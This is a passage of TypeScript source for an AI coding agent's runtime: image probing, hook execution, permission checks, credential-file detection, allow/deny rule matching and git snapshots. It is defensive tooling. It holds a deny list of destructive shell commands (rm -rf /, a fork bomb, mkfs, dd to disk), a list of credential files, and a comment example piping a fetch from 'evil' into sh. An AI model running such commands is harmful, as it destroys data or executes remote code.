7) };\n }\n offset += 2 + length;\n }\n return null;\n}\n\nfunction probeGif(buf: Buffer): ImageDimensions | null {\n if (buf.length < 10) return null;\n const signature = buf.toString(\"ascii\", 0, 6);\n if (signature !== \"GIF87a\" && signature !== \"GIF89a\") return null;\n return { width: buf.readUInt16LE(6), height: buf.readUInt16LE(8) };\n}\n\nfunction probeWebp(buf: Buffer): ImageDimensions | null {\n if (buf.length < 30) return null;\n if (buf.toString(\"ascii\", 0, 4) !== \"RIFF\" || buf.toString(\"ascii\", 8, 12) !== \"WEBP\") {\n return null;\n }\n const chunk = buf.toString(\"ascii\", 12, 16);\n if (chunk === \"VP8X\") {\n return { width: 1 + buf.readUIntLE(24, 3), height: 1 + buf.readUIntLE(27, 3) };\n }\n if (chunk === \"VP8 \") {\n return {\n width: buf.readUInt16LE(26) & 0x3fff,\n height: buf.readUInt16LE(28) & 0x3fff,\n };\n }\n if (chunk === \"VP8L\") {\n if (buf[20] !== 0x2f) return null;\n const b1 = buf[21] as number;\n const b2 = buf[22] as number;\n const b3 = buf[23] as number;\n const b4 = buf[24] as number;\n return {\n width: 1 + (((b2 & 0x3f) << 8) | b1),\n height: 1 + (((b4 & 0x0f) << 10) | (b3 << 2) | ((b2 & 0xc0) >> 6)),\n };\n }\n return null;\n}\n\n// Reads pixel dimensions straight from encoded image bytes; null when the\n// format is unrecognized or the header is truncated.\nexport function probeImageDimensions(buf: Buffer): ImageDimensions | null {\n return probePng(buf) ?? probeJpeg(buf) ?? probeGif(buf) ?? probeWebp(buf);\n}\n\n// A provider rejected the request because of an oversized image: a 4xx naming\n// images together with a size/dimension keyword. The message and the response\n// body are tested together — relays often answer with a generic message and\n// put the real reason in the body. Plain \"request too large\" or\n// context-length errors never match — stripping images would not help those.\nconst IMAGE_SIZE_KEYWORDS =\n /too[\\s-]*(large|big)|exceeds?|dimensions?|resolution|size\\s*limit|max(?:imum)?[\\s-]*size/i;\n\nexport function isOversizedImageError(error: Error): boolean {\n const status = (error as { statusCode?: unknown }).statusCode;\n if (typeof status !== \"number\" || status < 400 || status >= 500) return false;\n const text = [error.message, responseBodyOf(error)]\n .filter((part): part is string => typeof part === \"string\")\n .join(\"\\n\");\n return /image/i.test(text) && IMAGE_SIZE_KEYWORDS.test(text);\n}\n\nfunction imagePartBytes(image: unknown): Buffer | null {\n if (typeof image === \"string\") {\n const base64 = image.startsWith(\"data:\") ? image.slice(image.indexOf(\",\") + 1) : image;\n try {\n return Buffer.from(base64, \"base64\");\n } catch {\n return null;\n }\n }\n if (image instanceof Uint8Array) return Buffer.from(image);\n return null;\n}\n\nexport function isOversizedImageData(buf: Buffer): boolean {\n const dims = probeImageDimensions(buf);\n if (dims) return Math.max(dims.width, dims.height) > MAX_IMAGE_DIMENSION;\n return buf.length > OVERSIZED_IMAGE_FALLBACK_BYTES;\n}\n\n// Replaces every oversized image part in the history with a text placeholder.\n// Dimension-probeable images are judged by pixels; anything else falls back\n// to the byte cap. The input array is not mutated.\nexport function stripOversizedImages(messages: CoreMessage[]): {\n messages: CoreMessage[];\n removed: number;\n} {\n let removed = 0;\n const result = messages.map((message) => {\n if (!Array.isArray(message.content)) return message;\n let changed = false;\n const content = message.content.map((part) => {\n if (part.type !== \"image\") return part;\n const bytes = imagePartBytes(part.image);\n if (!bytes || !isOversizedImageData(bytes)) return part;\n changed = true;\n removed++;\n return { type: \"text\" as const, text: IMAGE_REMOVED_PLACEHOLDER };\n });\n return changed ? ({ ...message, content } as CoreMessage) : message;\n });\n return { messages: removed > 0 ? result : messages, removed };\n}\n","import type { CoreMessage, ToolCallPart } from \"ai\";\n\nexport type { CoreMessage };\n\nexport interface ImageInput {\n path: string;\n mimeType: string;\n /** Base64-encoded image bytes. */\n data: string;\n}\n\nexport interface MultimodalInput {\n text: string;\n images: ImageInput[];\n}\n\nexport type ChatInput = string | MultimodalInput;\n\nexport interface ConversationState {\n messages: CoreMessage[];\n}\n\nexport const MISSING_TOOL_RESULT_TEXT = \"tool result missing (session was interrupted)\";\n\nexport function reconcileToolCalls(messages: CoreMessage[]): CoreMessage[] {\n const result: CoreMessage[] = [];\n let pending: { toolCallId: string; toolName: string }[] = [];\n\n const flushPending = () => {\n for (const call of pending) {\n result.push({\n role: \"tool\",\n content: [\n {\n type: \"tool-result\",\n toolCallId: call.toolCallId,\n toolName: call.toolName,\n result: MISSING_TOOL_RESULT_TEXT,\n },\n ],\n });\n }\n pending = [];\n };\n\n for (const message of messages) {\n if (message.role === \"assistant\" && Array.isArray(message.content)) {\n flushPending();\n pending = message.content\n .filter((part): part is ToolCallPart => part.type === \"tool-call\")\n .map((part) => ({ toolCallId: part.toolCallId, toolName: part.toolName }));\n } else if (message.role === \"tool\" && Array.isArray(message.content) && pending.length > 0) {\n const answered = new Set(message.content.map((part) => part.toolCallId));\n pending = pending.filter((call) => !answered.has(call.toolCallId));\n } else {\n flushPending();\n }\n result.push(message);\n }\n flushPending();\n return result;\n}\n\n// Removes the last conversation turn: the final user message and everything\n// after it (assistant text, tool calls and results belonging to that turn).\n// A leading system message is never touched. Returns the trimmed list and\n// how many messages were dropped (0 = nothing to retract).\nexport function retractLastTurn(messages: CoreMessage[]): {\n messages: CoreMessage[];\n removed: number;\n} {\n for (let i = messages.length - 1; i >= 0; i--) {\n if (messages[i]?.role === \"user\") {\n return { messages: messages.slice(0, i), removed: messages.length - i };\n }\n }\n return { messages, removed: 0 };\n}\n","import { type ChildProcess, spawn } from \"node:child_process\";\nimport type { HookConfig } from \"../config/schema\";\n\nexport type HookEvent = \"PreToolUse\" | \"PostToolUse\" | \"Stop\";\n\nexport interface HookRunContext {\n cwd: string;\n sessionId?: string;\n toolName?: string;\n toolInput?: unknown;\n}\n\nexport interface HookRunResult {\n blocked: boolean;\n reason?: string;\n warnings: string[];\n}\n\nconst STDERR_LIMIT = 2000;\nconst STDERR_CAPTURE_LIMIT = 64 * 1024;\n\ninterface CommandOutcome {\n code: number;\n stderr: string;\n timedOut: boolean;\n spawnError?: string;\n}\n\nfunction truncate(text: string): string {\n const trimmed = text.trim();\n return trimmed.length > STDERR_LIMIT ? `${trimmed.slice(0, STDERR_LIMIT)}…` : trimmed;\n}\n\n// On timeout the whole process tree must die: killing only the shell (what\n// child_process timeout does) orphans the real command. On Windows cmd.exe\n// does not exec its child — the survivor would keep running and lock the\n// working directory. On POSIX the orphaned grandchild keeps the stdio pipes\n// open, so the \"close\" event never fires and the hook hangs — hence the\n// process-group kill (the child is spawned detached, making it a group\n// leader).\nfunction killTree(pid: number | undefined): void {\n if (pid === undefined) return;\n if (process.platform === \"win32\") {\n spawn(\"taskkill\", [\"/pid\", String(pid), \"/T\", \"/F\"], { windowsHide: true }).on(\n \"error\",\n () => {},\n );\n } else {\n try {\n process.kill(-pid, \"SIGKILL\");\n } catch {\n try {\n process.kill(pid, \"SIGKILL\");\n } catch {\n // Already gone.\n }\n }\n }\n}\n\nfunction runCommand(\n hook: HookConfig,\n event: HookEvent,\n ctx: HookRunContext,\n): Promise<CommandOutcome> {\n const env: NodeJS.ProcessEnv = {\n ...process.env,\n STAR_HOOK_EVENT: event,\n STAR_CWD: ctx.cwd,\n STAR_SESSION_ID: ctx.sessionId ?? \"\",\n };\n if (ctx.toolName !== undefined) env.STAR_TOOL_NAME = ctx.toolName;\n if (ctx.toolInput !== undefined) env.STAR_TOOL_INPUT = JSON.stringify(ctx.toolInput);\n return new Promise((resolve) => {\n let child: ChildProcess;\n try {\n child = spawn(hook.command, [], {\n shell: true,\n cwd: ctx.cwd,\n env,\n windowsHide: true,\n detached: process.platform !== \"win32\",\n });\n } catch (error) {\n resolve({\n code: 1,\n stderr: \"\",\n timedOut: false,\n spawnError: error instanceof Error ? error.message : String(error),\n });\n return;\n }\n let stderr = \"\";\n let timedOut = false;\n let settled = false;\n const finish = (outcome: CommandOutcome) => {\n if (settled) return;\n settled = true;\n clearTimeout(timer);\n clearTimeout(fallback);\n resolve(outcome);\n };\n const timer = setTimeout(() => {\n timedOut = true;\n killTree(child.pid);\n child.stdout?.destroy();\n child.stderr?.destroy();\n fallback = setTimeout(() => {\n finish({ code: 1, stderr, timedOut: true });\n }, 2000);\n fallback.unref?.();\n }, hook.timeoutSec * 1000);\n let fallback: NodeJS.Timeout;\n child.stderr?.on(\"data\", (chunk: Buffer) => {\n if (stderr.length < STDERR_CAPTURE_LIMIT) stderr += chunk.toString(\"utf8\");\n });\n child.stdout?.resume();\n child.on(\"error\", (error) => {\n finish({ code: 1, stderr, timedOut, spawnError: error.message });\n });\n child.on(\"close\", (code) => {\n finish({ code: code ?? 1, stderr, timedOut });\n });\n });\n}\n\nfunction hookMatches(hook: HookConfig, event: HookEvent, toolName?: string): boolean {\n if (hook.event !== event) return false;\n // A matcher filters by tool name; Stop carries no tool, so matchers are\n // ignored there. Invalid patterns are rejected at config load, but guard\n // anyway so a hook can never crash the agent.\n if (event === \"Stop\" || !hook.matcher) return true;\n if (toolName === undefined) return false;\n try {\n return new RegExp(hook.matcher).test(toolName);\n } catch {\n return false;\n }\n}\n\nexport async function runHooks(\n event: HookEvent,\n hooks: HookConfig[],\n ctx: HookRunContext,\n): Promise<HookRunResult> {\n const result: HookRunResult = { blocked: false, warnings: [] };\n for (const hook of hooks) {\n if (!hookMatches(hook, event, ctx.toolName)) continue;\n let outcome: CommandOutcome;\n try {\n outcome = await runCommand(hook, event, ctx);\n } catch (error) {\n result.warnings.push(\n `Hook \"${hook.command}\" (${event}) failed: ${error instanceof Error ? error.message : String(error)}`,\n );\n continue;\n }\n if (outcome.code === 0) continue;\n const stderr = truncate(outcome.stderr);\n if (event === \"PreToolUse\" && outcome.code === 2 && !outcome.timedOut) {\n result.blocked = true;\n result.reason = stderr || `hook \"${hook.command}\" exited with code 2`;\n return result;\n }\n const detail = outcome.timedOut\n ? `timed out after ${hook.timeoutSec}s`\n : outcome.spawnError\n ? `failed to start: ${outcome.spawnError}`\n : `exited with code ${outcome.code}`;\n result.warnings.push(\n `Hook \"${hook.command}\" (${event}) ${detail}${stderr ? `: ${stderr}` : \"\"}`,\n );\n }\n return result;\n}\n","import fs from \"node:fs\";\nimport path from \"node:path\";\nimport { isSensitivePath } from \"../core/sensitive\";\nimport { isAllowedByRules, isDeniedByRules } from \"./allow\";\nimport type {\n PermissionContext,\n PermissionDecision,\n PermissionMode,\n PermissionRequest,\n} from \"./types\";\n\nconst FILE_TOOLS = new Set([\"write_file\", \"edit_file\", \"read_file\", \"grep\", \"glob\"]);\n\nconst DANGEROUS_COMMAND_PATTERNS = [\n /rm\\s+-rf\\s+\\/(?:\\s|$|;|&)/i,\n /rm\\s+-rf\\s+~(?:\\s|\\/|$|;|&)/i,\n /rm\\s+-rf\\s+\\.\\/?(?:\\s|$|;|&)/i,\n /rm\\s+-rf\\s+\\*(?:\\s|$|;|&)/i,\n /\\bsudo\\s+rm\\b/i,\n /\\bdel\\s+\\/s\\b/i,\n /\\brd\\s+\\/s\\b/i,\n /\\bformat\\s+[a-z]:/i,\n /\\bdiskpart\\b/i,\n /:\\(\\)\\s*\\{\\s*:\\|:&\\s*\\}\\s*;:/,\n /\\bmkfs\\b/i,\n /dd\\s+[^|;]*\\bif=/i,\n />\\s*\\/dev\\/sd[a-z]/i,\n /\\bshutdown\\b/i,\n /\\breboot\\b/i,\n /\\bpoweroff\\b/i,\n];\n\nexport function isDangerousCommand(command: string): boolean {\n return DANGEROUS_COMMAND_PATTERNS.some((pattern) => pattern.test(command));\n}\n\nfunction getStringArg(args: unknown, key: string): string | undefined {\n if (typeof args === \"object\" && args !== null) {\n const value = (args as Record<string, unknown>)[key];\n if (typeof value === \"string\") {\n return value;\n }\n }\n return undefined;\n}\n\nfunction normalizeAbsolute(p: string, cwd: string): string {\n const abs = path.isAbsolute(p) ? path.normalize(p) : path.resolve(cwd, p);\n return abs.replace(/\\\\/g, \"/\").replace(/\\/+$/, \"\").toLowerCase();\n}\n\nfunction isOutsideCwd(p: string, cwd: string): boolean {\n const abs = normalizeAbsolute(p, cwd);\n const base = normalizeAbsolute(cwd, cwd);\n return abs !== base && !abs.startsWith(`${base}/`);\n}\n\n// Resolves symlinks for a write target: the file itself when it exists,\n// otherwise the nearest existing ancestor with the missing tail re-attached.\n// Returns null when nothing on the path can be resolved.\nfunction resolveRealPath(p: string, cwd: string): string | null {\n let current = path.isAbsolute(p) ? path.normalize(p) : path.resolve(cwd, p);\n const missing: string[] = [];\n for (;;) {\n try {\n return path.join(fs.realpathSync(current), ...missing.reverse());\n } catch {\n const parent = path.dirname(current);\n if (parent === current) return null;\n missing.push(path.basename(current));\n current = parent;\n }\n }\n}\n\n// Outside-cwd check for write tools that sees through symlinks: a link inside\n// cwd pointing outside must be treated as outside. Falls back to the plain\n// string check when the path (or cwd) cannot be resolved.\nfunction isOutsideForWrite(p: string, cwd: string): boolean {\n const resolved = resolveRealPath(p, cwd);\n if (resolved === null) return isOutsideCwd(p, cwd);\n let realCwd: string;\n try {\n realCwd = fs.realpathSync(cwd);\n } catch {\n return isOutsideCwd(p, cwd);\n }\n return isOutsideCwd(resolved, realCwd);\n}\n\nexport function checkPermission(\n mode: PermissionMode,\n req: PermissionRequest,\n ctx: PermissionContext,\n allowRules: readonly string[] = [],\n denyRules: readonly string[] = [],\n): PermissionDecision {\n // yolo bypasses every check, including the hard safety rules below.\n if (mode === \"yolo\") {\n return \"allow\";\n }\n\n const command = getStringArg(req.args, \"command\");\n const filePath = getStringArg(req.args, \"path\");\n\n if (req.toolName === \"bash\" && command !== undefined && isDangerousCommand(command)) {\n return \"deny\";\n }\n\n if (FILE_TOOLS.has(req.toolName) && filePath !== undefined) {\n const isWriteTool = req.toolName === \"write_file\" || req.toolName === \"edit_file\";\n if (isWriteTool && isSensitivePath(filePath)) {\n return \"deny\";\n }\n const outside = isWriteTool\n ? isOutsideForWrite(filePath, ctx.cwd)\n : isOutsideCwd(filePath, ctx.cwd);\n if (outside) {\n if (mode === \"ask\" && req.level === \"read\") {\n return \"ask\";\n }\n return \"deny\";\n }\n }\n\n if (isDeniedByRules(denyRules, req)) {\n return \"deny\";\n }\n\n if (mode === \"auto\") {\n return \"allow\";\n }\n if (mode === \"readonly\") {\n return req.level === \"read\" ? \"allow\" : \"deny\";\n }\n if (mode === \"plan\") {\n return req.level === \"read\" ? \"allow\" : \"deny\";\n }\n if (isAllowedByRules(allowRules, req)) {\n return \"allow\";\n }\n return req.level === \"read\" ? \"allow\" : \"ask\";\n}\n\nexport function describeDecision(decision: PermissionDecision): string {\n switch (decision) {\n case \"allow\":\n return \"允许执行该操作\";\n case \"deny\":\n return \"拒绝执行:违反权限模式、硬性安全规则或配置的拒绝规则\";\n case \"ask\":\n return \"需要用户确认后才能执行\";\n }\n}\n","const SENSITIVE_BASENAMES = new Set([\n \".env\",\n \"id_rsa\",\n \"id_dsa\",\n \"id_ecdsa\",\n \"id_ed25519\",\n \".npmrc\",\n \".netrc\",\n \".pgpass\",\n]);\n\nconst SENSITIVE_SUFFIXES = [\".pem\", \".key\", \".p12\", \".pfx\"];\n\nconst SENSITIVE_ENV_EXEMPTIONS = new Set([\".env.example\", \".env.sample\", \".env.template\"]);\n\nfunction pathSegments(p: string): string[] {\n return p\n .replace(/\\\\/g, \"/\")\n .split(\"/\")\n .filter(Boolean)\n .map((s) => s.toLowerCase());\n}\n\n// Single source of truth for \"this file likely holds secrets, don't let the\n// model read it into context or overwrite it\". Matches on the basename, with\n// two directory-aware rules for well-known credential locations. Templates\n// and example env files are explicitly safe.\nexport function isSensitivePath(p: string): boolean {\n const segments = pathSegments(p);\n const base = segments[segments.length - 1] ?? \"\";\n if (SENSITIVE_ENV_EXEMPTIONS.has(base)) {\n return false;\n }\n if (base === \".env\" || base.startsWith(\".env.\")) {\n return true;\n }\n if (SENSITIVE_BASENAMES.has(base)) {\n return true;\n }\n if (SENSITIVE_SUFFIXES.some((suffix) => base.endsWith(suffix))) {\n return true;\n }\n const dir = segments[segments.length - 2] ?? \"\";\n if (dir === \".aws\" && base === \"credentials\") {\n return true;\n }\n if (dir === \".kube\" && base === \"config\") {\n return true;\n }\n return false;\n}\n","import type { PermissionRequest } from \"./types\";\n\nexport interface AllowRule {\n toolName: string;\n pattern?: string;\n}\n\nexport function parseAllowRule(rule: string): AllowRule | null {\n const match = /^([\\w-]+)(?:\\((.*)\\))?$/.exec(rule.trim());\n if (!match) return null;\n return { toolName: match[1] as string, pattern: match[2] };\n}\n\nfunction globMatch(pattern: string, value: string): boolean {\n const escaped = pattern.replace(/[.+?^${}()|[\\]\\\\]/g, \"\\\\$&\").replace(/\\*/g, \".*\");\n return new RegExp(`^${escaped}$`).test(value);\n}\n\nfunction requestTarget(req: PermissionRequest): string | undefined {\n if (typeof req.args !== \"object\" || req.args === null) return undefined;\n const args = req.args as Record<string, unknown>;\n const key = req.toolName === \"bash\" ? \"command\" : \"path\";\n const value = args[key];\n return typeof value === \"string\" ? value : undefined;\n}\n\nexport function matchAllowRule(rule: AllowRule, req: PermissionRequest): boolean {\n if (rule.toolName !== req.toolName) return false;\n if (rule.pattern === undefined) return true;\n const target = requestTarget(req);\n return target !== undefined && globMatch(rule.pattern, target);\n}\n\n// Splits a bash command into its chained segments (\"a && b | c; d\" →\n// [\"a\", \"b\", \"c\", \"d\"]) with a plain separator scan — quotes are not honored,\n// which only ever errs towards asking. Returns null when the command embeds a\n// command substitution (\"$(...)\" or backticks): the segments can no longer be\n// trusted because a substitution hides an arbitrary command in a benign one.\nfunction splitCommandChain(command: string): string[] | null {\n if (command.includes(\"$(\") || command.includes(\"`\")) return null;\n return command\n .split(/&&|\\|\\||[;|\\n]/)\n .map((segment) => segment.trim())\n .filter((segment) => segment.length > 0);\n}\n\nfunction withCommand(req: PermissionRequest, command: string): PermissionRequest {\n return {\n ...req,\n args: { ...((req.args ?? {}) as Record<string, unknown>), command },\n };\n}\n\n// Allow rules apply per chain segment: \"bash(git *)\" must not wave through\n// \"git status && curl evil | sh\". Every segment has to match some rule, and a\n// command with a substitution is never auto-allowed.\nexport function isAllowedByRules(rules: readonly string[], req: PermissionRequest): boolean {\n if (req.toolName !== \"bash\") return matchesAnyRule(rules, req);\n const command = requestTarget(req);\n if (command === undefined) return matchesAnyRule(rules, req);\n const segments = splitCommandChain(command);\n if (segments === null) return false;\n if (segments.length === 0) return matchesAnyRule(rules, req);\n return segments.every((segment) => matchesAnyRule(rules, withCommand(req, segment)));\n}\n\n// Deny rules stay maximally suspicious: any single matching segment denies,\n// and a command that cannot be segmented falls back to whole-command matching.\nexport function isDeniedByRules(rules: readonly string[], req: PermissionRequest): boolean {\n if (req.toolName !== \"bash\") return matchesAnyRule(rules, req);\n const command = requestTarget(req);\n if (command === undefined) return matchesAnyRule(rules, req);\n const segments = splitCommandChain(command);\n if (segments === null || segments.length === 0) return matchesAnyRule(rules, req);\n return segments.some((segment) => matchesAnyRule(rules, withCommand(req, segment)));\n}\n\nfunction matchesAnyRule(rules: readonly string[], req: PermissionRequest): boolean {\n return rules.some((raw) => {\n const rule = parseAllowRule(raw);\n return rule !== null && matchAllowRule(rule, req);\n });\n}\n\nexport function buildAllowRule(req: PermissionRequest): string {\n const target = requestTarget(req);\n return target !== undefined ? `${req.toolName}(${target})` : req.toolName;\n}\n","import { type LanguageModel, generateText } from \"ai\";\nimport type { SessionStore } from \"./store\";\n\nconst TITLE_MAX_CHARS = 50;\nconst TITLE_INPUT_MAX_CHARS = 1000;\nconst TITLE_MAX_TOKENS = 20;\nconst TITLE_TIMEOUT_MS = 15_000;\n\nconst TITLE_SYSTEM_PROMPT = [\n \"You write short titles for conversations.\",\n \"Summarize the user's first message into a single concise title:\",\n \"- at most 50 characters\",\n \"- no surrounding quotes, no trailing punctuation\",\n \"- same language as the user's message\",\n \"Output only the title, nothing else.\",\n].join(\"\\n\");\n\nfunction sanitizeTitle(raw: string): string {\n let title = raw.trim().split(\"\\n\")[0]?.trim() ?? \"\";\n let previous: string;\n do {\n previous = title;\n title = title\n .replace(/^[\"'“”‘’「」『』\\s]+|[\"'“”‘’「」『』\\s]+$/g, \"\")\n .replace(/[。..!!??…::;;,,、\\s]+$/u, \"\");\n } while (title !== previous);\n return title.slice(0, TITLE_MAX_CHARS).trim();\n}\n\nexport async function generateSessionTitle(\n userText: string,\n model: LanguageModel,\n): Promise<string> {\n const { text } = await generateText({\n model,\n system: TITLE_SYSTEM_PROMPT,\n prompt: userText.slice(0, TITLE_INPUT_MAX_CHARS),\n maxTokens: TITLE_MAX_TOKENS,\n abortSignal: AbortSignal.timeout(TITLE_TIMEOUT_MS),\n });\n return sanitizeTitle(text);\n}\n\n// Fire-and-forget title generation: never throws, never blocks the caller,\n// and skips sessions that already have a title. An unfinished request is\n// bounded by TITLE_TIMEOUT_MS and may simply be dropped when the process\n// exits — the title just stays empty.\nexport function scheduleSessionTitle(\n store: SessionStore,\n userText: string,\n model: LanguageModel,\n): void {\n void (async () => {\n const meta = await store.meta();\n if (meta.title) return;\n const title = await generateSessionTitle(userText, model);\n if (!title) return;\n const current = await store.meta();\n if (current.title) return;\n await store.setTitle(title);\n })().catch(() => {});\n}\n","import { execFile } from \"node:child_process\";\nimport { existsSync } from \"node:fs\";\nimport { mkdir } from \"node:fs/promises\";\nimport os from \"node:os\";\nimport path from \"node:path\";\nimport { gitTreesDir } from \"../config/paths\";\n\nconst GIT_TIMEOUT_MS = 10_000;\nconst GIT_MAX_BUFFER = 8 * 1024 * 1024;\n\n// Every git invocation goes through here: array arguments (never a shell), a\n// per-call timeout, and any failure — git missing, repo corrupt, timeout —\n// resolves null so the snapshot feature degrades silently instead of breaking\n// the agent loop.\nfunction runGit(args: string[]): Promise<string | null> {\n return new Promise((resolve) => {\n execFile(\n \"git\",\n args,\n { timeout: GIT_TIMEOUT_MS, maxBuffer: GIT_MAX_BUFFER, encoding: \"utf8\" },\n (error, stdout) => {\n resolve(error ? null : stdout.trim());\n },\n );\n });\n}\n\nlet gitAvailable: boolean | null = null;\n\nexport async function isGitAvailable(): Promise<boolean> {\n if (gitAvailable === null) {\n gitAvailable = (await runGit([\"--version\"])) !== null;\n }\n return gitAvailable;\n}\n\n// Test hook: drop the cached availability probe so a mocked execFile takes\n// effect without reloading the module.\nexport function resetGitTreeAvailability(): void {\n gitAvailable = null;\n}\n\n// One internal bare repo per project directory, named by the resolved path so\n// two directories never share a tree store.\nexport function treeRepoDir(cwd: string): string {\n const key = Buffer.from(path.resolve(cwd), \"utf8\").toString(\"base64url\");\n return path.join(gitTreesDir(), key);\n}\n\n// Snapshotting the home directory or a filesystem root would track an entire\n// machine — refuse rather than let a stray session there index everything.\nfunction isGuardedDir(cwd: string): boolean {\n const resolved = path.resolve(cwd);\n const home = path.resolve(os.homedir());\n const same = (a: string, b: string) =>\n process.platform === \"win32\" ? a.toLowerCase() === b.toLowerCase() : a === b;\n return same(resolved, home) || same(resolved, path.parse(resolved).root);\n}\n\nasync function ensureTreeRepo(cwd: string): Promise<string | null> {\n const dir = treeRepoDir(cwd);\n if (existsSync(path.join(dir, \"HEAD\"))) return dir;\n await mkdir(path.dirname(dir), { recursive: true });\n const out = await runGit([\"init\", \"--bare\", dir]);\n return out === null ? null : dir;\n}\n\nfunction repoArgs(dir: string, cwd: string): string[] {\n return [`--git-dir=${dir}`, `--work-tree=${cwd}`];\n}\n\n// Captures the whole working tree (any change — write_file, edit_file, bash)\n// as a git tree object and returns its hash. The work tree's own .git is\n// skipped by git automatically; ignored files (node_modules) never enter the\n// tree, which is exactly what the restore side relies on.\nexport async function trackTree(cwd: string): Promise<string | null> {\n if (isGuardedDir(cwd)) return null;\n if (!(await isGitAvailable())) return null;\n const dir = await ensureTreeRepo(cwd);\n if (!dir) return null;\n const base = repoArgs(dir, cwd);\n if ((await runGit([...base, \"add\", \"-A\"])) === null) return null;\n return runGit([...base, \"write-tree\"]);\n}\n\n// Restores the working tree to a captured tree: index reset to the tree,\n// every file checked out over the work tree, then untracked (post-snapshot)\n// files cleaned. `clean` keeps ignored files, so dependencies survive.\nexport async function restoreTree(cwd: string, hash: string): Promise<boolean> {\n if (isGuardedDir(cwd)) return false;\n if (!(await isGitAvailable())) return false;\n const dir = treeRepoDir(cwd);\n if (!existsSync(path.join(dir, \"HEAD\"))) return false;\n const base = repoArgs(dir, cwd);\n if ((await runGit([...base, \"read-tree\", hash])) === null) return false;\n if ((await runGit([...base, \"checkout-index\", \"-f\", \"-a\"])) === null) return false;\n if ((await runGit([...base, \"clean\", \"-fd\"])) === null) return false;\n return true;\n}\n\n// Read-only list of files restoring a tree would touch: tracked paths that\n// differ from the tree, plus untracked (non-ignored) paths the clean step\n// would remove. Backs the /undo and /redo previews.\nexport async function diffTreeNames(cwd: string, hash: string): Promise<string[] | null> {\n if (!(await isGitAvailable())) return null;\n const dir = treeRepoDir(cwd);\n if (!existsSync(path.join(dir, \"HEAD\"))) return null;\n const base = repoArgs(dir, cwd);\n const changed = await runGit([...base, \"diff\", \"--name-only\", hash]);\n const untracked = await runGit([...base, \"ls-files\", \"--others\", \"--exclude-standard\"]);\n if (changed === null || untracked === null) return null;\n const names = new Set<string>();\n for (const line of [...changed.split(\"\\n\"), ...untracked.split(\"\\n\")]) {\n if (line !== \"\") names.add(line);\n }\n return [...names];\n}\n","import { mkdir, readFile, rm, stat, writeFile } from \"node:fs/promises\";\nimport path from \"node:path\";\nimport type { SnapshotContext } from \"../types\";\n\nexport type SnapshotOwner = \"root\" | \"subagent\";\n\nexport interface FileSnapshot {\n // Checkpoint id, monotonically increasing per process (seeded from the\n // resumed session's records, so ids stay unique across resume). Assigned\n // when the snapshot is captured; failed tool calls leave gaps, which is fine.\n id: number;\n path: string;\n existed: boolean;\n content: string | null;\n // Set when the pre-change content exceeded MAX_SNAPSHOT_CONTENT_BYTES: only\n // metadata is kept (no content, no persisted content file) and revert()\n // skips the file instead of restoring it.\n contentTooLarge?: boolean;\n // Lazy source for the old content when the snapshot was hydrated from a\n // persisted session checkpoint instead of captured in this process.\n contentFile?: string;\n toolName: string;\n timestamp: number;\n // Seq of the conversation turn that produced this snapshot (0 = no turn\n // context, e.g. direct tool use in tests). Monotonically increasing per\n // process, so a turn's snapshots can be reverted without touching older ones.\n turn: number;\n // Index of the user message that started the turn, used by /rewind to\n // retract the conversation to the same point. -1 = unknown (no turn\n // context, or the change came from a subagent turn).\n messageIndex: number;\n // Who made the change. Root changes are undoable per turn; subagent changes\n // span arbitrary parent turns, so turn-scoped listings and reverts exclude\n // them unless includeSubagent is passed. Missing means root (checkpoints\n // persisted before this field stay undoable).\n owner?: SnapshotOwner;\n}\n\n// Persistence callbacks, bound by the agent loop when a session store is\n// attached. Every snapshot that enters or leaves the in-memory stack is\n// mirrored to the session directory so /rewind works after resume.\nexport interface SnapshotHooks {\n onPush?(snapshot: FileSnapshot): void | Promise<void>;\n onRemove?(ids: number[]): void | Promise<void>;\n}\n\nconst MAX_SNAPSHOTS = 50;\nexport const MAX_SNAPSHOT_CONTENT_BYTES = 5 * 1024 * 1024;\n\nconst stack: FileSnapshot[] = [];\nlet activeTurn = 0;\nlet activeTurnMessageIndex = -1;\nlet checkpointSeq = 0;\nlet hooks: SnapshotHooks | null = null;\n\nexport function setSnapshotHooks(next: SnapshotHooks | null): void {\n hooks = next;\n}\n\nexport function nextSnapshotId(): number {\n return ++checkpointSeq;\n}\n\n// Called by the agent loop at the start of every conversation turn; returns\n// the seq assigned to the turn. Tool-made snapshots record this seq and the\n// message index the turn started at.\nexport function beginTurn(messageIndex = -1): number {\n activeTurnMessageIndex = messageIndex;\n return ++activeTurn;\n}\n\nexport function currentTurnSeq(): number {\n return activeTurn;\n}\n\nexport function currentTurnMessageIndex(): number {\n return activeTurnMessageIndex;\n}\n\nfunction ownerOf(snapshot: FileSnapshot): SnapshotOwner {\n return snapshot.owner ?? \"root\";\n}\n\nexport async function captureSnapshot(\n filePath: string,\n toolName: string,\n snapshotContext?: SnapshotContext,\n): Promise<FileSnapshot> {\n let content: string | null = null;\n let existed = false;\n let contentTooLarge = false;\n const st = await stat(filePath).catch(() => null);\n if (st?.isFile()) {\n existed = true;\n if (st.size > MAX_SNAPSHOT_CONTENT_BYTES) {\n contentTooLarge = true;\n } else {\n try {\n content = await readFile(filePath, \"utf8\");\n } catch {\n // unreadable files keep the old behavior: recorded as non-existent\n existed = false;\n }\n }\n }\n return {\n id: nextSnapshotId(),\n path: filePath,\n existed,\n content,\n contentTooLarge: contentTooLarge || undefined,\n toolName,\n timestamp: Date.now(),\n turn: snapshotContext?.turn ?? activeTurn,\n messageIndex: snapshotContext?.messageIndex ?? activeTurnMessageIndex,\n owner: snapshotContext?.owner ?? \"root\",\n };\n}\n\nexport async function pushSnapshot(snapshot: FileSnapshot): Promise<void> {\n stack.push(snapshot);\n try {\n await hooks?.onPush?.(snapshot);\n } catch (err) {\n // The file write already succeeded; failing the tool over checkpoint\n // persistence would make the model retry the same write.\n if (process.env.STAR_DEBUG) {\n console.error(\"[star] failed to persist snapshot checkpoint:\", err);\n }\n }\n if (stack.length > MAX_SNAPSHOTS) {\n const evicted = stack.splice(0, stack.length - MAX_SNAPSHOTS);\n await removeFromStore(evicted.map((s) => s.id));\n }\n}\n\nasync function removeFromStore(ids: number[]): Promise<void> {\n if (ids.length > 0) await hooks?.onRemove?.(ids);\n}\n\nexport function snapshotCount(): number {\n return stack.length;\n}\n\nexport function listSnapshots(): FileSnapshot[] {\n return [...stack];\n}\n\nexport function clearSnapshots(): void {\n stack.length = 0;\n}\n\n// Replaces the in-memory stack with checkpoints loaded from a resumed\n// session's persisted records. The id counter is advanced past the loaded\n// records so new checkpoints never collide with persisted ones.\nexport function hydrateSnapshots(snapshots: FileSnapshot[]): void {\n stack.length = 0;\n 